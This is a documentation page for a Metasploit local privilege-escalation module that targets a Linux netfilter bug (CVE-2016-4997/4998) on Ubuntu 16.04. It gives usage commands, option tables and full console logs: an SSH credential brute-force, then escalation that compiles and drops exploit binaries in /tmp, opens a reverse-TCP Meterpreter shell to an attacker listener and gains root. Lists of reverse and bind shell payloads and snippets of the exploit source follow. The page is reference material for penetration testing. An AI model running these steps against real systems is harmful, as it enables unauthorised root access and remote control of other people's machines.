Linux Kernel 4.6.3 Netfilter Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/netfilter_priv_esc_ipv4 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Kernel 4.6.3 Netfilter Privilege Escalation
Module: exploit/linux/local/netfilter_priv_esc_ipv4
Source code: modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb
Disclosure date: 2016-06-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4997, CVE-2016-4998, CVE-2016-49972016
This module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. This exploit does not bypass SMEP/SMAP. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed)
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-os-down: Module may crash the OS, and the OS remains down.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/netfilter_priv_esc_ipv4
msf exploit(netfilter_priv_esc_ipv4) > show targets
... a list of targets ...
msf exploit(netfilter_priv_esc_ipv4) > set TARGET target-id
msf exploit(netfilter_priv_esc_ipv4) > show options
... show and set options ...
msf exploit(netfilter_priv_esc_ipv4) > set SESSION session-id
msf exploit(netfilter_priv_esc_ipv4) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Notes
Originally this module was written to drop the binary files on the target via metasm. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target or drop included binary instead of compiling real time.
This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing.
Creating A Testing Environment
There are a few requirements for this module to work (ubuntu):
- ip_tables.ko has to be loaded (root running iptables -L will do such)
- shem and sham can not be installed/running
This module has been tested against:
- Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
- Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
This does not work against the following vulnerable systems. Additional work may be required to the binary and C code to enable these targets.
- Fedora 24 < kernel-4.6.3-300
- Fedora 22 < kernel-4.4.14-200
- RHEL < kernel-3.10.0-327.36.1.el7
- Suse < kernel-default-3.12.59-60.45.2
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use exploit/linux/local/netfilter_priv_esc_ipv4
- Do:
set session #
- Do:
set verbose true
- Do:
exploit
Options
MAXWAIT
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
WritableDir
A folder we can write files to. Defaults to /tmp
REEXPLOIT
When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell.
Scenarios
Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > set username nagios
username => nagios
msf auxiliary(ssh_login) > set password nagios
password => nagios
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'nagios:nagios' 'uid=1000(nagios) gid=1000(nagios) groups=1000(nagios),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1001(nagcmd) Linux nagios 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:36085 -> 127.0.0.1:22) at 2016-09-16 01:15:34 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
[+] libc6-dev-i386 is installed
[+] gcc-multilib is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if ip_tables is loaded in kernel
[+] ip_tables.ko is loaded
[*] Checking if shem or sham are installed
[+] shem and sham not present.
[*] Writing desc executable to /tmp/fI1xW1Js.c
[*] Max line length is 65537
[*] Writing 3291 bytes in 1 chunks of 11490 bytes (octal-encoded), using printf
[*] Executing /tmp/fI1xW1Js, may take around 35s to finish. Watching for /tmp/GWqpwKnG to be created.
[*] Waited 0s so far
[*] Waited 10s so far
[*] Waited 20s so far
[*] Waited 30s so far
[+] desc finished, env ready.
[*] Writing payload to /tmp/Thzyfenv
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Writing pwn executable to /tmp/wmfFiQKu.c
[*] Max line length is 65537
[*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60982) at 2016-09-24 17:22:47 -0400
[+] Deleted /tmp/fI1xW1Js.c
[+] Deleted /tmp/GWqpwKnG
[+] Deleted /tmp/fI1xW1Js
[+] Deleted /tmp/Thzyfenv
[+] Deleted /tmp/wmfFiQKu.c
[+] Deleted /tmp/wmfFiQKu
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
Escalate w/ pre-compiled binaries
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
[-] libc6-dev-i386 is not installed. Compiling will fail.
[-] gcc-multilib is not installed. Compiling will fail.
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Checking if ip_tables is loaded in kernel
[+] ip_tables.ko is loaded
[*] Checking if shem or sham are installed
[+] shem and sham not present.
[*] Max line length is 65537
[*] Writing 7820 bytes in 1 chunks of 21701 bytes (octal-encoded), using printf
[*] Executing /tmp/8lQZGJdL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created.
[*] Waited 0s so far
[*] Waited 10s so far
[*] Waited 20s so far
[*] Waited 30s so far
[+] desc finished, env ready.
[*] Writing payload to /tmp/2016_4997_payload
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Writing pwn executable to /tmp/nOO6sYqi
[*] Max line length is 65537
[*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:46778) at 2016-09-24 21:24:22 -0400
[+] Deleted /tmp/okDjTFSS
[+] Deleted /tmp/2016_4997_payload
[+] Deleted /tmp/nOO6sYqi
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
Re-exploit
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
[+] libc6-dev-i386 is installed
[+] gcc-multilib is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if ip_tables is loaded in kernel
[+] ip_tables.ko is loaded
[*] Checking if shem or sham are installed
[+] shem and sham not present.
[*] Writing payload to /tmp/egMfQrrI
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Writing pwn executable to /tmp/Yf8CAdMu.c
[*] Max line length is 65537
[*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60984) at 2016-09-24 17:29:06 -0400
[+] Deleted /tmp/egMfQrrI
[+] Deleted /tmp/Yf8CAdMu.c
[+] Deleted /tmp/Yf8CAdMu
meterpreter >
Re-exploit w/ pre-compiled binaries
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
[+] libc6-dev-i386 is installed
[-] gcc-multilib is not installed. Compiling will fail.
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Checking if ip_tables is loaded in kernel
[+] ip_tables.ko is loaded
[*] Checking if shem or sham are installed
[+] shem and sham not present.
[*] Writing payload to /tmp/2016_4997_payload
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Writing pwn executable to /tmp/SZrv2NOR
[*] Max line length is 65537
[*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60996) at 2016-09-24 20:47:03 -0400
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/netfilter_priv_esc_ipv4 exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/netfilter_priv_esc_ipv4
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show info
Name: Linux Kernel 4.6.3 Netfilter Privilege Escalation
Module: exploit/linux/local/netfilter_priv_esc_ipv4
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-06-03
Provided by:
h00die <[email protected]>
vnik
Jesse Hertz
Tim Newsham
Module stability:
crash-os-down
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Ubuntu
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 180 yes Max seconds to wait for decrementation in seconds
REEXPLOIT false yes desc already ran, no need to re-run, skip to running pwn
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to exploit a netfilter bug on Linux Kernels
before 4.6.3, and currently only works against Ubuntu 16.04 (not
16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be
met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu),
iptable_raw (fedora) has to be loaded (root running iptables -L will
do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686
(fedora) needs to be installed to compile Kernel 4.4.0-31-generic
and newer are not vulnerable. This exploit does not bypass
SMEP/SMAP. We write the ascii files and compile on target instead of
locally since metasm bombs for not having cdefs.h (even if locally
installed)
References:
https://www.exploit-db.com/exploits/40049
https://nvd.nist.gov/vuln/detail/CVE-2016-4997
https://nvd.nist.gov/vuln/detail/CVE-2016-4998
https://www.openwall.com/lists/oss-security/2016/06/24/5
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91
Module Options
This is a complete list of options available in the linux/local/netfilter_priv_esc_ipv4 exploit:
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show options
Module options (exploit/linux/local/netfilter_priv_esc_ipv4):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 180 yes Max seconds to wait for decrementation in seconds
REEXPLOIT false yes desc already ran, no need to re-run, skip to running pwn
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Ubuntu
Advanced Options
Here is a complete list of advanced options supported by the linux/local/netfilter_priv_esc_ipv4 exploit:
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show advanced
Module advanced options (exploit/linux/local/netfilter_priv_esc_ipv4):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/netfilter_priv_esc_ipv4 module can exploit:
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show targets
Exploit targets:
Id Name
-- ----
0 Ubuntu
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/netfilter_priv_esc_ipv4 exploit:
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/chmod normal No Linux Chmod
19 payload/linux/x86/exec normal No Linux Execute Command
20 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
23 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
26 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
27 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
30 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
31 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
32 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
33 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
34 payload/linux/x86/read_file normal No Linux Read File
35 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
38 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
41 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
42 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
45 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
46 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
47 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
48 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/netfilter_priv_esc_ipv4 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- ip_tables.ko is not loaded. root needs to run iptables -L or similar command
- iptable_raw is not loaded. root needs to run iptables -L or similar command
- SMEP enabled, system not vulnerable.
- SMAP enabled, system not vulnerable.
- Unprivileged user namespaces are not permitted
- Target not vulnerable! punt!
- <BASE_DIR> is not writable
- libc6-dev-i386 is not installed. Compiling will fail.
- gcc-multilib is not installed. Compiling will fail.
- gcc is not installed. Compiling will fail.
- glibc-devel.i686 is not installed. Compiling will fail.
- libgcc.i686 is not installed. Compiling will fail.
- socket
- malloc
- unshare
- malloc
- gcc failure output: <OUTPUT>
- <DESC_FILE>.c failed to compile
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
ip_tables.ko is not loaded. root needs to run iptables -L or similar command
Here is a relevant code snippet related to the "ip_tables.ko is not loaded. root needs to run iptables -L or similar command" error message:
82: if target.name == "Ubuntu"
83: iptables = read_file('/proc/modules').to_s
84: if iptables.include?('ip_tables')
85: vprint_good('ip_tables.ko is loaded')
86: else
87: print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
88: end
89: return iptables.include?('ip_tables')
90: elsif target.name == "Fedora"
91: iptables = read_file('/proc/modules').to_s
92: if iptables.include?('iptable_raw')
iptable_raw is not loaded. root needs to run iptables -L or similar command
Here is a relevant code snippet related to the "iptable_raw is not loaded. root needs to run iptables -L or similar command" error message:
90: elsif target.name == "Fedora"
91: iptables = read_file('/proc/modules').to_s
92: if iptables.include?('iptable_raw')
93: vprint_good('iptable_raw is loaded')
94: else
95: print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
96: end
97: return iptables.include?('iptable_raw')
98: else
99: return false
100: end
SMEP enabled, system not vulnerable.
Here is a relevant code snippet related to the "SMEP enabled, system not vulnerable." error message:
101: end
102:
103: return CheckCode::Safe unless iptables_loaded?
104:
105: if smep_enabled?
106: print_error('SMEP enabled, system not vulnerable.')
107: return CheckCode::Safe
108: end
109: vprint_good('SMEP is not enabled')
110:
111: if smap_enabled?
SMAP enabled, system not vulnerable.
Here is a relevant code snippet related to the "SMAP enabled, system not vulnerable." error message:
107: return CheckCode::Safe
108: end
109: vprint_good('SMEP is not enabled')
110:
111: if smap_enabled?
112: print_error('SMAP enabled, system not vulnerable.')
113: return CheckCode::Safe
114: end
115: vprint_good('SMAP is not enabled')
116:
117: unless userns_enabled?
Unprivileged user namespaces are not permitted
Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:
113: return CheckCode::Safe
114: end
115: vprint_good('SMAP is not enabled')
116:
117: unless userns_enabled?
118: vprint_error('Unprivileged user namespaces are not permitted')
119: return CheckCode::Safe
120: end
121: vprint_good('Unprivileged user namespaces are permitted')
122:
123: CheckCode::Appears
Target not vulnerable! punt!
Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:
123: CheckCode::Appears
124: end
125:
126: def exploit
127: if check != CheckCode::Appears
128: fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
129: end
130:
131: unless writable? base_dir
132: fail_with Failure::BadConfig, "#{base_dir} is not writable"
133: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
127: if check != CheckCode::Appears
128: fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
129: end
130:
131: unless writable? base_dir
132: fail_with Failure::BadConfig, "#{base_dir} is not writable"
133: end
134:
135: # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
136: def has_prereqs?()
137: vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
libc6-dev-i386 is not installed. Compiling will fail.
Here is a relevant code snippet related to the "libc6-dev-i386 is not installed. Compiling will fail." error message:
138: if target.name == "Ubuntu"
139: lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
140: if lib.include?('install')
141: vprint_good('libc6-dev-i386 is installed')
142: else
143: print_error('libc6-dev-i386 is not installed. Compiling will fail.')
144: end
145: multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
146: if multilib.include?('install')
147: vprint_good('gcc-multilib is installed')
148: else
gcc-multilib is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc-multilib is not installed. Compiling will fail." error message:
144: end
145: multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
146: if multilib.include?('install')
147: vprint_good('gcc-multilib is installed')
148: else
149: print_error('gcc-multilib is not installed. Compiling will fail.')
150: end
151: gcc = cmd_exec('which gcc')
152: if gcc.include?('gcc')
153: vprint_good('gcc is installed')
154: else
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
150: end
151: gcc = cmd_exec('which gcc')
152: if gcc.include?('gcc')
153: vprint_good('gcc is installed')
154: else
155: print_error('gcc is not installed. Compiling will fail.')
156: end
157: return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
158: elsif target.name == "Fedora"
159: lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
160: if lib.include?('glibc')
glibc-devel.i686 is not installed. Compiling will fail.
Here is a relevant code snippet related to the "glibc-devel.i686 is not installed. Compiling will fail." error message:
158: elsif target.name == "Fedora"
159: lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
160: if lib.include?('glibc')
161: vprint_good('glibc-devel.i686 is installed')
162: else
163: print_error('glibc-devel.i686 is not installed. Compiling will fail.')
164: end
165: if lib.include?('libgcc')
166: vprint_good('libgcc.i686 is installed')
167: else
168: print_error('libgcc.i686 is not installed. Compiling will fail.')
libgcc.i686 is not installed. Compiling will fail.
Here is a relevant code snippet related to the "libgcc.i686 is not installed. Compiling will fail." error message:
163: print_error('glibc-devel.i686 is not installed. Compiling will fail.')
164: end
165: if lib.include?('libgcc')
166: vprint_good('libgcc.i686 is installed')
167: else
168: print_error('libgcc.i686 is not installed. Compiling will fail.')
169: end
170: multilib = false #not implemented
171: gcc = false #not implemented
172: return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
173: else
socket
Here is a relevant code snippet related to the "socket" error message:
225: unsigned i;
226:
227: sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
228:
229: if (sock == -1) {
230: perror("socket");
231: return -1;
232: }
233:
234: data = malloc(MALLOC_SIZE);
235:
malloc
Here is a relevant code snippet related to the "malloc" error message:
232: }
233:
234: data = malloc(MALLOC_SIZE);
235:
236: if (data == NULL) {
237: perror("malloc");
238: return -1;
239: }
240:
241: memset(data, 0, MALLOC_SIZE);
242:
unshare
Here is a relevant code snippet related to the "unshare" error message:
287: printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
288:
289: ret = unshare(CLONE_NEWUSER);
290:
291: if (ret == -1) {
292: perror("unshare");
293: return -1;
294: }
295:
296: stack = (void *) malloc(65536);
297:
malloc
Here is a relevant code snippet related to the "malloc" error message:
294: }
295:
296: stack = (void *) malloc(65536);
297:
298: if (stack == NULL) {
299: perror("malloc");
300: return -1;
301: }
302:
303: clone(decr, stack + 65536, CLONE_NEWNET, NULL);
304:
